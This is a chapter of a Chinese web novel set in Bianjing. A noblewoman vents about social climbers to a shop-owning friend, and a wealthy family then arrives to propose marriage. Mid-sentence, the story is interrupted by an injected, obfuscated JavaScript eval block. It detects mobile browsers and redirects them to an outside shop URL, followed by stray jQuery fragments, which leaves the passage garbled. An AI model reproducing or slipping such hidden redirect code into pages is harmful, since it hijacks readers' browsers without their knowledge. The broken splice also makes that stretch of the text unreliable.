76. 第七十六章

作品:《汴京暴富日常

    沁凉顺滑的牛乳裹挟着桂花的清甜滑入喉咙,随后是Q弹爽滑的冻子在齿间爆开。


    “唔!”林知月惬意地眯起眼,像只餍足的猫,“就是这个味儿!我在府里想了好几日了,那些个厨子做的,不是太甜就是太腻,半点比不上你这儿的。”


    徐竹筱也端起自己那杯喝了一口,满足地叹了气:“那是自然,这方子可是我调了十七八遍才定下的。这牛乳得先蒸去部分水汽,再撞入熬好的茶汤里,桂花蜜也是选的头茬金桂,一点杂味都不能有。”


    林知月放下杯子,看着徐竹筱那张明艳生动的小脸,忍不住感叹:“你说你这脑子是怎么长的?这饮子铺子开得有声有色,这些……当真都是你自己琢磨出来的?”


    这问题若是换了别的贵女问,多半带着几分探究和轻视。


    毕竟在这个世道,女子抛头露面做生意,总归算不得什么体面事,更别提还是个整日钻研庖厨之道的。


    可林知月的眼里只有纯粹的惊叹和羡慕。


    徐竹筱眨了眨眼,嘴角勾起一抹狡黠的弧度。


    她没像寻常女子那般谦虚地说什么“雕虫小技”“难登大雅之堂”,反倒挺直了腰杆,一脸理所当然地点点头。


    “那是自然!”她指了指自己的脑袋,“我这儿装着的东西多着呢。若是把你这舌头借我用用,我还能做出更多好吃的来。我也觉得自己挺厉害的,这汴京城里,怕是找不出第二家比我这儿更好喝的饮子了。”


    林知月愣了一下。


    这汴京城里的女子,哪个不是说话留三分,恨不得把自己低到尘埃里去才显出教养来?


    徐竹筱这般直白的不谦虚,倒像是一道惊雷,劈开了那些沉闷的规矩。


    片刻后,林知月忽然大笑起来,笑得前仰后合,连眼泪都快出来了。


    “好!好一个‘挺厉害的’!”她一边笑一边拍着大腿,“我就喜欢你这性子!真实!痛快!不像她们……”


    笑声渐歇,林知月的脸上浮起一抹淡淡的嘲讽,原本明亮的眸子黯淡了几分。


    她用勺子无意识地搅动着杯里的桂花冻,声音低了下来:“不像那些世家贵女,一个个假模假样的,看着就让人倒胃口。”


    徐竹筱敏锐地捕捉到了她情绪的变化,收敛了脸上的笑意,静静地看着她,没插话。


    林知月盯着那旋转的漩涡,像是陷入了某种回忆里,语气里透着几分凉薄:“你是不知道,前几日我去赴安平侯府的赏花宴。那些个平日里鼻孔朝天的娘子,一个个围着我转,又是夸我衣裳好看,又是赞我簪子别致,恨不得把我捧到天上去。”


    她嗤笑一声,抬眼看向徐竹筱,眼底满是讽刺:“可就在半年前,我爹还只是个员外郎的时候,她们连正眼都不瞧我一下。那会儿我在宴席上坐了半个时辰,愣是没一个人过来跟我搭话,仿佛我是什么脏东西,沾上了就会掉价似的。”


    徐竹筱默默听着,心里却跟明镜似的。


    林知月的爹林大人,本是寒门出身,靠着科举一步步爬上来的。前些日子刚升了户部尚书,成了朝廷新贵,这林家的门槛自然也就被踏破了。


    人性本就如此,趋炎附势,捧高踩低。


    林知月越说越气,手里的勺子磕在琉璃盏上,发出清脆的响声:“她们巴结的哪里是我?分明是我爹那顶乌纱帽!如今一口一个‘知月妹妹’叫得亲热,背地里还指不定怎么编排我是个暴发户的女儿呢。看着她们那副虚伪的嘴脸,我就恶心。”


    徐竹筱看着林知月气鼓鼓的脸颊,忽然笑了。


    她伸手拿起桌上的茶壶,给林知月那已经见底的杯子里又续了一些,动作慢条斯理,语气却轻快得很。


    “那多好啊。”


    林知月一怔,诧异地看着她:“好?哪里好了?被人当傻子一样哄着玩,哪里好了?”


    徐竹筱放下茶壶,双手托着腮,笑眯眯地看着林知月:“这证明你现在过得比她们好呀。”


    林知月眨了眨眼,没反应过来。


    徐竹筱伸出一根手指,在她面前晃了晃:“你想啊,若是你爹没升官,你还是那个没人理的小可怜,她们会来巴结你吗?不会。她们现在围着你转,不管是不是真心的,至少说明你有让她们低头的资本。”


    “这世上的人啊,大多都是看人下菜碟的。”徐竹筱语气里带着几分超越年龄的通透,“既然她们愿意演戏,你就安心坐着看戏好了。她们夸你,你就听着;送你东西,你就收着。反正你也说了,她们巴结的是你爹的官位,这是你爹辛苦挣来的,你作为女儿,享受这点红利那是天经地义。”


    林知月愣住了。


    她从未从这个角度想过问题。


    从小到大,母亲教导她要温良恭俭让,父亲教导她要谨言慎行。


    从未有人告诉她,面对虚伪和势利,还可以这样坦然地……享受?


    “再说了,这假模假样的殷勤,总比真刀真枪的冷眼要好受些吧?你就当她们是一群免费的戏子,专门演给你解闷的,这岂不痛快?”


    听完这番话,林知月怔愣许久,眼里的愤懑一点点沉淀下去,取而代之的是一种醍醐灌顶后的清明。


    她端起那杯早已不再冒热气的茶,像喝酒似的,仰头一饮而尽。


    “痛快!”


    林知月把杯子重重往桌上一搁,发出一声脆响。


    她拿帕子随意抹了抹嘴角,那股子世家小姐端着的架子散了个干净,倒显出几分江湖儿女的豪气来。


    “我想明白了,之前是我着相了。我爹升官,那是以前受苦受累换来的,我是他女儿,享这福分那是我爹给的,凭什么要因为别人的几句酸话就觉得自己不配?”


    她站起身,理了理裙摆上的压襟,目光灼灼地盯着徐竹筱,像是要在徐竹筱脸上看出朵花来。


    “你这人,看着年纪不大,心里却通透得吓人。不过……”林知月话锋一转,脸上绽开一个真心实意的笑,“我喜欢。”


    她往前凑了凑,压低声音,语气里带着几分霸道:“徐竹筱,你这个朋友我交定了。往后在汴京城里,若是有哪个不开眼的敢找你麻烦,或者是你需要什么路子,尽管来来尚书府找我。只要我林知月能办到的,绝不推辞。


    ”这承诺分量不轻。


    户部尚书的嫡女,在如今的汴京贵女圈里,说话是极有分量的。


    徐竹筱并不扭捏,也没搞那些虚头巴脑的推拒。她眉眼弯弯,大大方方地应了一声:“好呀。”


    林知月心满意足,仿佛卸下了什么千斤重担,提着裙摆风风火火地走了。


    送走这尊大佛,徐竹筱也没在铺子里多耽搁,带着知画就回家了。


    刚转进巷子口,就察觉出今日的气氛不大对劲。


    往日这个时候,巷子里多是各家娘子喊孩子回家吃饭的叫骂声,或者是锅铲碰撞的烟火气。可今日,整条巷子都被堵得严严实实,那叫一个喧嚣鼎沸。


    十几辆挂着“沈”字灯笼的马车,排成一条长龙,把本来就不宽敞的巷道塞得满满当当。


    拉车的马匹打着响鼻,蹄子刨着地面的青石板,发出哒哒的声响。


    车上堆着的箱笼,一个个都用红绸系着,那木箱看起来沉甸甸的,压得车轮轴吱呀作响。


    周围的邻居们一个个伸长了脖子,站在自家门口指指点点,嘴里啧啧称奇。


    “这是哪来的贵人?好大的排场!”


    “瞧那木料,那是上好的红酸枝吧?这一车得多少钱?”


    “瞧着不便宜,这是这停沈家门口做什么呢?”


    “谁知道呢,保不齐哪个官老爷看上沈竹安了,想招他做女婿呢。”


    徐竹筱贴着墙根,好不容易才挤过人群。


    到了自家门口,正好瞧见隔壁沈家的大门敞开着。


    一个穿着石青色直裰的身影正站在台阶上指挥着下人搬东西。那人身形修长,背脊挺拔如松,虽然只是个背影,却透着一股子书卷气里的沉稳。


    似是察觉到了身后的视线,那人回过身来。


    四目相对。


    徐竹筱脚下的步子一顿。


    沈竹安。


    才几个月不见,他似乎又高了些,脸上那点少年的青涩褪去了大半,眉宇间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210087|193160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    多了几分举人的从容与清贵。只是一见到徐竹筱,那份端着的“清冷”瞬间破功,耳根子以肉眼可见的速度红了起来。


    他张了张嘴,似乎想喊一声“筱娘”,可碍于周围人多眼杂,还有父母在侧,那个到了嘴边的称呼硬是在舌尖滚了一圈,又咽了回去。


    最后,他只是规规矩矩地抬手,行了一个极为标准的同辈礼。


    徐竹筱眨了眨眼,回以一笑。


    还没等两人有什么眼神交流,沈家院子里就传来一阵爽朗的大笑声,紧接着走出一对衣着华贵的中年夫妇。


    那妇人头上插着金灿灿的步摇,手腕上的翡翠镯子水头极好,一看就是富贵窝里养出来的。


    “哎哟,这就是玉哥儿常提起的徐家那丫头吧?”沈母眼尖,一眼就瞧见了徐竹筱,那眼神热切得像是在看自家地里刚长熟的好瓜,“长得真标志,比画里的人儿还精神。”


    徐竹筱忙上前行礼。


    一番寒暄下来,徐竹筱才算弄明白。


    沈竹安这次不仅考中了举人,沈家二老更是直接跟着来了汴京。


    而且,这沈家二老办事那是相当的雷厉风行,或者说,财大气粗。


    就在刚才,沈父大手一挥,直接在城东保康门附近买下了一座三进的大宅子。


    消息传到徐家的时候,苏棠正坐在院子里剥豆子。


    “多少?”


    “四千贯。”徐青山语气里也满是惊叹,“听说是一次付清,连眉头都没皱一下。保康门那边可是寸土寸金的地方,周围都是当官的,那边宅子一般人想买也没门路呢。”


    苏棠点头:“这倒也是,我原本想着到时候要是卿哥考中了,咱们给他买个一千来贯的宅子算是不错的了,只是他们家不是做瓜果生意的吗?竟然如此有家底?”


    徐青山摇头:“这就不知道了,许是买卖做的大吧。”


    这边宅子刚定下,那边搬家的人手就已经安排妥当了。也就三五日的功夫,沈家就正式入住了保康门那座豪宅。


    紧接着,沈父沈母带着沈竹安,提着大包小包的礼品,登了徐家的门。


    这一次,不是邻里串门,而是——提亲。


    堂屋里,气氛有些微妙的紧绷。


    沈父沈母坐在左侧,徐青山和苏棠坐在右侧。


    桌上摆满了礼盒,金银细软、绫罗绸缎,把那张并不宽大的八仙桌堆得满满当当。


    沈竹安今日穿了一身崭新的宝蓝色锦袍,腰间束着玉带,整个人显得温润如玉,只是那双手规规矩矩地放在膝盖上,指尖微微泛白,泄露了他内心的紧张。


    “亲家公,亲家母。”沈父率先打破了沉默,笑得眼睛眯成了一条缝,“咱们两家也是老邻居了,知根知底。我家玉哥儿是个死心眼,自从见了你家筱娘,这心里头就再也装不下旁人了。这次考中举人,他第一件事就是催着我们来提亲。”


    沈母也跟着帮腔,拉着苏棠的手不放:“是啊,嫂子。我家玉哥儿虽说读了几本书,性子却有些闷。筱娘聪明伶俐,又是个能干的,若是能娶回去,那是我家祖坟冒青烟了。我们老两口就这一个儿子,往后家里的生意、银钱,还不都是小两口的?筱娘嫁过去,绝不让她受半点委屈,只管享福就是。”


    这话听着顺耳,也实在。


    但苏棠是谁?


    她可是十里八乡有名的辣性子。


    心里一百个愿意,面上也不能表现得太急切,免得以后女儿嫁过去被人看轻了去。


    “沈员外言重了。我家筱娘性子野,从小被我宠坏了,不懂什么规矩,若是嫁过去冲撞了你们……”


    “哎哟,哪里的话!”沈母连忙摆手,“我就喜欢筱娘这爽利性子!那些个娇滴滴的大小姐,我还伺候不来呢。只要筱娘肯点头,往后在这个家里,她说东,我绝不往西!”


    话都说到这份上了。


    苏棠眼角的余光扫过屏风,看到那后面的人影微微晃动了一下。


    知女莫若母。


    她放下茶盏,脸上终于露出了一丝满意的笑:“既然如此,那这门亲事,我们徐家便应下了。”